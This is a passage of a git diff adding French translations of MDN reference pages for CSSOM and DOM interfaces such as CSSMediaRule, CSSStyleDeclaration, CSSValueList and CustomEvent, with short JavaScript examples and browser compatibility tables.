+<h2 id="Firefox_OS_et_Android_Verrouiller_l'orientation_avec_le_manifeste">Firefox OS et Android: Verrouiller l'orientation avec le manifeste</h2>
+
+<p>Pour Firefox OS et Firefox Android (bientôt pour la version bureau de Firefox également), vous pouvez le champ <a href="/en-US/Apps/Build/Manifest#orientation">orientation</a> dans le fichier manifeste de votre application, par exemple:</p>
+
+<pre class="brush: json">"orientation": "portrait"</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Screen.orientation")}}</li>
+ <li>{{domxref("Screen.lockOrientation()")}}</li>
+ <li>{{domxref("Screen.unlockOrientation()")}}</li>
+ <li>{{domxref("Screen.onorientationchange")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Requ%C3%AAtes_m%C3%A9dia/Utiliser_les_Media_queries#orientation" title="en-US/CSS/Media queries#orientation">Media query orientation</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li>
+</ul>
diff --git a/files/fr/web/api/cssmatrix/index.html b/files/fr/web/api/cssmatrix/index.html
new file mode 100644
index 0000000000..efd0ef8b57
--- /dev/null
+++ b/files/fr/web/api/cssmatrix/index.html
@@ -0,0 +1,75 @@
+---
+title: CSSMatrix
+slug: Web/API/CSSMatrix
+tags:
+  - API
+  - Reference
+translation_of: Web/API/DOMMatrix
+---
+<div>
+<div>{{APIRef("CSSOM")}}{{Non-standard_header}}</div>
+
+<p>Une <code><strong>CSSMatrix</strong></code> représente une matrice homogène 4x4 dans laquelle il est possible d'appliquer des transformations 2D ou 3D. Cette classe faisait à un moment partie du module de transitions CSS (Level 3) mais elle n'a pas été propagée dans le brouillon de travail (<em>Working Draft</em>) actuel. Utilisez plutôt <code><a href="/en-US/docs/Web/API/DOMMatrix">DOMMatrix</a>.</code></p>
+
+<h2 id="Compatibilé_des_navigateurs">Compatibilé des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer a  intégré cette API en tant que <code>MSCSSMatrix</code>. Dans la version 11 l'alias <code>WebKitCSSMatrix</code> a été ajouté.</p>
+
+<p>[2] WebKit a intégré cette API en tant que <code>WebKitCSSMatrix</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ie/hh772390(v=vs.85).aspx">MSDN : <code>Documentation sur MSCSSMatrix</code></a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AudioVideo/Reference/WebKitCSSMatrixClassReference/index.html">Safari Developer Library : Documentation sur WebKitCSSMatrix</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=717722">Mozilla : Bug 717722 : Exécution de <code>(WebKit)CSSMatrix()</code></a></li>
+</ul>
+</div>
diff --git a/files/fr/web/api/cssmediarule/index.html b/files/fr/web/api/cssmediarule/index.html
new file mode 100644
index 0000000000..36e57e5af6
--- /dev/null
+++ b/files/fr/web/api/cssmediarule/index.html
@@ -0,0 +1,70 @@
+---
+title: CSSMediaRule
+slug: Web/API/CSSMediaRule
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - Reference
+translation_of: Web/API/CSSMediaRule
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>L'interface <strong><code>CSSMediaRule</code></strong> représente une seule règle CSS {{cssxref("@media")}}. Elle met en œuvre l'interface {{domxref("CSSConditionRule")}}, et donc l'interface {{domxref("CSSGroupingRule")}} et l'interface {{domxref("CSSRule")}} avec une valeur de type <code>4</code> (<code>CSSRule.MEDIA_RULE</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe est décrite en utilisant le format <a href="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a>.</p>
+
+<pre class="syntaxbox">interface CSSMediaRule : CSSConditionRule {
+    readonly attribute MediaList media;
+}
+</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>En tant que {{domxref("CSSConditionRule")}}, et donc à la fois {{domxref("CSSGroupingRule")}} et {{domxref("CSSRule")}}, <code>CSSMediaRule</code> implémente également les propriétés de ces interfaces. Elle a la propriété spécifique suivante :</p>
+
+<dl>
+ <dt>{{domxref("CSSMediaRule.media")}} {{readonlyinline}}</dt>
+ <dd>Spécifie un {{domxref("MediaList")}} représentant le support de destination prévu pour les informations de style.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>En tant que {{domxref("CSSConditionRule") }}, et donc à la fois {{domxref("CSSGroupingRule")}} et {{domxref("CSSRule")}}, <code>CSSMediaRule</code> met également en œuvre les méthodes de cette interface. Elle n'a pas de méthodes spécifiques.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('CSS3 Conditional')}}</td>
+   <td>Dérivé de la règle  {{domxref("CSSConditionRule")}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>Aucun changement par rapport à {{SpecName('DOM2 Style')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous un <em>pull request</em>.</div>
+
+<p>{{Compat("api.CSSMediaRule")}}</p>
diff --git a/files/fr/web/api/cssrulelist/index.html b/files/fr/web/api/cssrulelist/index.html
new file mode 100644
index 0000000000..861b32be7f
--- /dev/null
+++ b/files/fr/web/api/cssrulelist/index.html
@@ -0,0 +1,49 @@
+---
+title: CSSRuleList
+slug: Web/API/CSSRuleList
+tags:
+  - CSSOM
+  - DOM
+translation_of: Web/API/CSSRuleList
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>A <code>CSSRuleList</code> est un objet de type tableau contenant une collection ordonnée d'objects <code><a href="/en/DOM/cssRule" title="en/DOM/cssRule">CSSRule</a></code>.</p>
+
+<h2 id="Syntax" name="Syntax">Description</h2>
+
+<p>Chaque règle <code>CSSRule</code> peut être atteinte via <code><var>rules</var>.item(<var>index</var>),</code> ou simplement <code><var>rules</var>[<var>index</var>]</code>, où <code><var>rules</var></code> est un objet implementant l'interface  <code>CSSRuleList</code>, et <code><var>index</var></code> est l'index de la règle (commence à zéro comme les tableaux), dans l'ordre dans lequel elle apparait dans la feuille de style CSS. Le nombre d'objets est <code><var>rules</var>.length</code>.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">// récuperer la première règle de la première feuille de style
+var firstRule = document.styleSheets[0].cssRules[0];
+</pre>
+
+<h2 id="Notes" name="Notes">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/en/DOM/cssRule" title="en/DOM/CSSRule">CSSRule</a></code></li>
+</ul>
+
+<h3 id="Implémentations_de_CSSRuleList">Implémentations de CSSRuleList</h3>
+
+<p>Il existe plusieurs propriétés dans le CSSOM qui retourne une <code>CSSRuleList</code> :</p>
+
+<ul>
+ <li>{{ domxref("CSSStyleSheet") }} property {{ domxref("CSSStyleSheet/cssRules", "cssRules") }}</li>
+ <li>{{ domxref("CSSMediaRule") }} property {{ domxref("CSSMediaRule/cssRules", "cssRules") }}</li>
+ <li>{{ domxref("CSSKeyframesRule") }} property {{ domxref("CSSKeyframesRule/cssRules", "cssRules") }}</li>
+ <li>{{ domxref("CSSMozDocumentRule") }} property {{ domxref("CSSMozDocumentRule/cssRules", "cssRules") }}</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRuleList" title="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRuleList">DOM Level 2 Style: <code>CSSRuleList</code> interface</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet-cssRules">DOM Level 2 Style: <code>CSSStyleSheet</code> attribute <code>cssRules</code></a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSMediaRule-cssRules" title="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSMediaRule-cssRules">DOM Level 2 Style: <code>CSSMediaRule</code> attribute </a><code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSMediaRule-cssRules" title="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSMediaRule-cssRules">cssRules</a></code></li>
+ <li><a class="external" href="http://dev.w3.org/csswg/css3-animations/#DOM-CSSKeyframesRule" title="http://dev.w3.org/csswg/css3-animations/#DOM-CSSKeyframesRule">CSS Animations: <code>CSSKeyframesRule</code> interface</a></li>
+</ul>
diff --git a/files/fr/web/api/cssstyledeclaration/csstext/index.html b/files/fr/web/api/cssstyledeclaration/csstext/index.html
new file mode 100644
index 0000000000..509fcc5969
--- /dev/null
+++ b/files/fr/web/api/cssstyledeclaration/csstext/index.html
@@ -0,0 +1,35 @@
+---
+title: CSSStyleDeclaration.cssText
+slug: Web/API/CSSStyleDeclaration/cssText
+translation_of: Web/API/CSSStyleDeclaration/cssText
+---
+<p>A ne pas confondre avec la règle de style de feuille de style {{domxref("CSSRule.cssText")}}.</p>
+
+<div>{{APIRef("CSSOM") }}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p><strong>cssText</strong> retourne ou définit seulement le texte de la déclaration de style <strong>inline</strong> de l'élément. Pour pouvoir définir dynamiquement une règle d'une <strong>stylesheet</strong>, voir <a href="/fr-FR/docs/DOM/Using_dynamic_styling_information" title="DOM/Using_dynamic_styling_information">Utilisation d'informations de mise en forme dynamiques.</a></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js"><em>chaine</em> = elem.style.cssText
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: html"><code>&lt;span id="s1" style="</code>color: red;"<code>&gt;
+Du texte
+&lt;/span&gt;</code>
+
+&lt;script&gt;
+  var elem = document.getElementById("s1");
+  alert(elem.style.cssText); // "color: red;"
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration">DOM Level 2 Style CSS - Interface CSSStyleDeclaration (introduced in DOM Level 2)</a></li>
+</ul>
diff --git a/files/fr/web/api/cssstyledeclaration/index.html b/files/fr/web/api/cssstyledeclaration/index.html
new file mode 100644
index 0000000000..a770fe95fc
--- /dev/null
+++ b/files/fr/web/api/cssstyledeclaration/index.html
@@ -0,0 +1,97 @@
+---
+title: CSSStyleDeclaration
+slug: Web/API/CSSStyleDeclaration
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - NeedsCompatTable
+  - NeedsMarkupWork
+  - Reference
+translation_of: Web/API/CSSStyleDeclaration
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p><code>CSSStyleDeclaration</code> représente une collection de paires propriété/valeur CSS. Elle est utilisée dans quelques API :</p>
+
+<ul>
+ <li>{{domxref("HTMLElement.style")}} - pour manipuler le style d'un seul élément (&lt;elem style="..."&gt;) ;</li>
+ <li>(AFAIRE : à reformuler) est une interface avec le <a href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">declaration block</a> renvoyé par la propriété <code><a href="/en/DOM/cssRule.style" title="en/DOM/cssRule.style">style</a></code> d'une <code>cssRule</code> dans une <a href="/fr/docs/Web/API/StyleSheet">feuille de style</a>, lorsque la règle est une <a href="/en/DOM/cssRule#CSSStyleRule">CSSStyleRule</a> ;</li>
+ <li><code>CSSStyleDeclaration</code> est également une interface en <strong>lecture seule</strong> pour le résultat de <a href="/fr/docs/Web/API/Window/getComputedStyle">window.getComputedStyle()</a>.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Attributs</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.cssText")}}</dt>
+ <dd>Représentation textuelle du bloc de déclaration. La définition de cet attribut modifie le style.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.length")}} {{readonlyInline}}</dt>
+ <dd>Le nombre de propriétés. Voir la méthode {{domxref("CSSStyleDeclaration.item",'item()')}} ci-dessous.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.parentRule")}} {{readonlyInline}}</dt>
+ <dd>Le contenant {{domxref("CSSRule")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}</dt>
+ <dd>Retourne la priorité facultative "important".</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyValue()")}}</dt>
+ <dd>Retourne la valeur de la propriété avec un nom de propriété.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.item()")}}</dt>
+ <dd>Retourne un nom de propriété.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
+ <dd>Supprime une propriété du bloc de déclaration CSS.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
+ <dd>Modifie une propriété CSS existante ou crée une nouvelle propriété CSS dans le bloc de déclaration.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt>
+ <dd><span style="color: #ff0000;">Uniquement supporté via getComputedStyle dans Firefox.</span> Retourne la valeur de la propriété en tant que {{domxref("CSSPrimitiveValue")}} ou <code>null</code> pour les <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriétés raccourcies</a>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var objStyle = document.styleSheets[0].cssRules[0].style;
+console.log(objStyle.cssText);
+
+for (var i = objStyle.length; i--;) {
+  var chaineNom = objStyle[i];
+  objStyle.removeProperty(chaineNom);
+}
+
+console.log(objStyle.cssText);</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Le bloc de déclaration est la partie de la règle de mise en forme qui apparaît dans les accolades et qui fournit les définitions de mise en forme (pour le sélecteur, la partie qui précède les accolades).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">Référence des propriétés CSS</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/cssstylerule/index.html b/files/fr/web/api/cssstylerule/index.html
new file mode 100644
index 0000000000..1ab5e5ace3
--- /dev/null
+++ b/files/fr/web/api/cssstylerule/index.html
@@ -0,0 +1,105 @@
+---
+title: CSSStyleRule
+slug: Web/API/CSSStyleRule
+translation_of: Web/API/CSSStyleRule
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p><span id="noHighlight_0.9203101251653377">CSSStyleRule représente une règle de style CSS unique. Il implémente l'interface {{domxref ("CSSRule")}} avec une valeur de type 1 (CSSRule STYLE_RULE).</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><span id="noHighlight_0.41769108826443613">La syntaxe est décrite à l'aide du format WebIDL.</span></p>
+
+<pre>interface CSSStyleRule : CSSRule {
+    attribute DOMString selectorText;
+    readonly attribute CSSStyleDeclaration style;
+};</pre>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt id="selectorText">{{domxref("CSSStyleRule.selectorText")}}</dt>
+ <dd><span id="noHighlight_0.5203750065288182">Obtient la représentation textuelle du sélecteur pour cette règle, par exemple "H1, H2".</span></dd>
+ <dt id="style">{{domxref("CSSStyleRule.style")}}</dt>
+ <dd>Retourne l'objet {{domxref("CSSStyleDeclaration")}} pour cette règle.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#the-cssstylerule-interface', 'CSSStyleRule') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('DOM2 Style', 'css.html#CSS-CSSStyleRule', 'CSSRule') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}<br>
+     </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/cssvalue/index.html b/files/fr/web/api/cssvalue/index.html
new file mode 100644
index 0000000000..871a2b70ce
--- /dev/null
+++ b/files/fr/web/api/cssvalue/index.html
@@ -0,0 +1,85 @@
+---
+title: CSSValue
+slug: Web/API/CSSValue
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+translation_of: Web/API/CSSValue
+---
+<div>{{APIRef ("DOM")}}</div>
+
+<div>L'interface <strong>CSSValue</strong> représente la valeur calculée actuelle d'une propriété CSS.</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("CSSValue.cssText")}}</dt>
+ <dd>
+ <p>Une {{domxref ("DOMString")}} représentant la valeur actuelle.</p>
+ </dd>
+ <dt>{{domxref("CSSValue.cssValueType")}} {{readonlyInline}}</dt>
+ <dd>Un raccourci non signé ( <code>unsigned short</code> ) représentant un code définissant le type de valeur. Les valeurs possibles sont:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constant</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>CSS_CUSTOM</code></td>
+    <td>
+     <p>La valeur est une valeur personnalisée.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>CSS_INHERIT</code></td>
+    <td>La valeur est héritée et cssText contient "inherit".</td>
+   </tr>
+   <tr>
+    <td><code>CSS_PRIMITIVE_VALUE</code></td>
+    <td>La valeur est une valeur primitive et une instance de l'interface {{domxref ("CSSPrimitiveValue")}} peut être obtenue en utilisant des méthodes de casting spécifiques à la liaison sur cette instance de l'interface CSSValue.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_VALUE_LIST</code></td>
+    <td>La valeur est une liste CSSValue et une instance de l'interface {{domxref ("CSSValueList")}} peut être obtenue en utilisant des méthodes de casting spécifiques à la liaison sur cette instance de l'interface CSSValue.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSValue', 'CSSValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.CSSValue")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>{{domxref("CSSPrimitiveValue")}}</li>
+ <li>{{domxref("CSSValueList")}}</li>
+</ul>
diff --git a/files/fr/web/api/cssvaluelist/index.html b/files/fr/web/api/cssvaluelist/index.html
new file mode 100644
index 0000000000..cb78129d96
--- /dev/null
+++ b/files/fr/web/api/cssvaluelist/index.html
@@ -0,0 +1,70 @@
+---
+title: CSSValueList
+slug: Web/API/CSSValueList
+tags:
+  - API
+  - CSSValueList
+  - DOM
+  - Interface
+  - Reference
+translation_of: Web/API/CSSValueList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <code><strong>CSSValueList</strong></code> dérive de l'interface {{domxref("CSSValue")}} et fournit l'abstraction d'une collection ordonnée de valeurs CSS.</p>
+
+<p>Certaines propriétés autorisent une liste vide dans leur syntaxe. Dans ce cas, ces propriétés prennent l'identifiant <code>none</code>. Ainsi, une liste vide signifie que la propriété a une valeur <code>none</code> (<em>aucune valeur</em>).</p>
+
+<p>Les éléments dans <code>CSSValueList</code> sont accessibles par un index integral commençant à 0.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent {{domxref("CSSValue")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("CSSValueList.length")}} {{readonlyInline}}</dt>
+ <dd>Un <code>unsigned long</code> représentant le nombre de <code>CSSValues</code> (<em>valeurs CSS</em>) dans la liste.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("CSSValueList.item()")}}</dt>
+ <dd>Cette méthode est utilisée pour  récupérer une {{domxref("CSSValue")}} <em>(valeur CSS</em>) par index ordinal. L'ordre dans cette collection représente l'ordre des valeurs dans la propriété de style CSS. Si index est supérieur ou égal au nombre de valeurs de la liste, elle renvoie <code>null</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSValuesList', 'CSSValuesList')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.CSSValueList")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>{{domxref("CSSPrimitiveValue")}}</li>
+ <li>{{domxref("CSSValue")}}</li>
+</ul>
diff --git a/files/fr/web/api/customevent/detail/index.html b/files/fr/web/api/customevent/detail/index.html
new file mode 100644
index 0000000000..0890ad04bb
--- /dev/null
+++ b/files/fr/web/api/customevent/detail/index.html
@@ -0,0 +1,73 @@
+---
+title: CustomEvent.detail
+slug: Web/API/CustomEvent/detail
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Évènement personnalisé
+translation_of: Web/API/CustomEvent/detail
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Le <code><strong>detail</strong></code> de la propriété en lecture seule de l'interface {{domxref("CustomEvent")}} renvoie toutes les données transmises lors de l'initialisation de l'évènement.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> let myDetail = <em>customEventInstance.detail</em>;</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Toute donnée initialisée avec l'évènement.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// ajoute un écouteur d'évènement approprié
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// crée et distribue l'évènement
+let event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);
+
+// Retournera un objet contenant la propriété hazcheeseburger
+let myDetail = <em>event.detail</em>;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-customeventinit-detail','detail')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CustomEvent.detail")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("CustomEvent")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/customevent/index.html b/files/fr/web/api/customevent/index.html
new file mode 100644
index 0000000000..d49584c1fb
--- /dev/null
+++ b/files/fr/web/api/customevent/index.html
@@ -0,0 +1,95 @@
+---
+title: CustomEvent
+slug: Web/API/CustomEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+  - évènements
+translation_of: Web/API/CustomEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Les interfaces <code>CustomEvent</code> DOM sont des évènements initialisés par une application pour n'importe quel usage.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Method_overview" name="Method_overview">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</dt>
+ <dd>Crée un <code>CustomEvent.</code></dd>
+</dl>
+
+<h2 id="Attributes" name="Attributes">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.detail")}} {{readonlyinline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Toute donnée transmise lors de l'initialisation de l'événement.</span></span></dd>
+</dl>
+
+<p>Cette interface hérite des propriétés de son parent {{domxref("Event")}}:</p>
+
+<p>{{Page("/fr/docs/Web/API/Event", "Propriétés")}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}</dt>
